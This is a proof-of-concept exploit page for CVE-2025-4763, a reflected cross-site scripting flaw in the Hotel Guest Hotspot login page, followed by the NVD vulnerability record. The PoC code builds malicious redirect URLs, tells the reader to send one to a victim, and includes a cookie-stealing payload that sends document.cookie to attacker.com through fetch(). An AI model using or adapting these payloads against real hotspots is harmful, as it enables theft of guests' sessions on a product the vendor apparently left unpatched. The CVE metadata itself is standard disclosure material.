CVE-2025-4763

<!-- CVE-2025-4763 PoC - Reflected XSS in Hotel Guest Hotspot --> <!-- Replace TARGET_URL with the actual Hotel Guest Hotspot URL --> <script> function createXSSPayload() { // Basic XSS payload to test vulnerability const payload = "<script>alert('XSS Vulnerability - CVE-2025-4763');console.log(document.cookie);</script>"; return payload; } function testVulnerability() { const targetUrl = "http://TARGET_URL/hotspot/login"; const maliciousUrl = targetUrl + "?redirect=" + encodeURIComponent(createXSSPayload()); console.log("Malicious URL:", maliciousUrl); console.log("Send this URL to the victim to test the XSS vulnerability."); // Display the URL for copying const urlElement = document.createElement('a'); urlElement.href = maliciousUrl; urlElement.textContent = "Click to test (will trigger alert)"; document.body.appendChild(urlElement); } // Cookie stealing payload const cookieStealerPayload = '<img src=x onerror="fetch(\'https://attacker.com/steal?cookie=\'+document.cookie)">'; console.log("Cookie Stealer Payload:", encodeURIComponent(cookieStealerPayload)); </script> <!-- HTML PoC --> <a href="http://TARGET_URL/hotspot/login?redirect=%3Cscript%3Ealert%28document.domain%29%3C/script%3E" target="_blank">Click Me (XSS Test)</a>

{"cve": {"id": "CVE-2025-4763", "sourceIdentifier": "[email protected]", "published": "2026-01-22T10:16:07.320", "lastModified": "2026-03-10T18:10:50.163", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper Neutralization of Input During Web Page Generation (XSS or 'Cross-site Scripting') vulnerability in Aida Computer Information Technology Inc. Hotel Guest Hotspot allows Reflected XSS.This issue affects Hotel Guest Hotspot: through 22012026. \n\nNOTE: The vendor was contacted early about this disclosure but did not respond in any way."}, {"lang": "es", "value": "Neutralización Incorrecta de la Entrada Durante la Generación de Páginas Web (XSS o 'cross-site scripting') vulnerabilidad en Aida Computer Information Technology Inc. Hotel Guest Hotspot permite XSS Reflejado. Este problema afecta a Hotel Guest Hotspot: hasta el 22012026.\n\nNOTA: Se contactó al proveedor con antelación sobre esta divulgación pero no respondió de ninguna manera."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:A/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:L", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "ADJACENT_NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.1, "impactScore": 3.4}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N", "baseScore": 6.1, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:aida:hotel_guest_hotspot:*:*:*:*:*:*:*:*", "versionEndIncluding": "2026-01-22", "matchCriteriaId": "AD8483C3-062A-433A-A10C-FB1D0ED6077E"}]}]}], "references": [{"url": "https://www.usom.gov.tr/bildirim/tr-26-0001", "source": "[email protected]", "tags": ["Third Party Advisory"]}]}}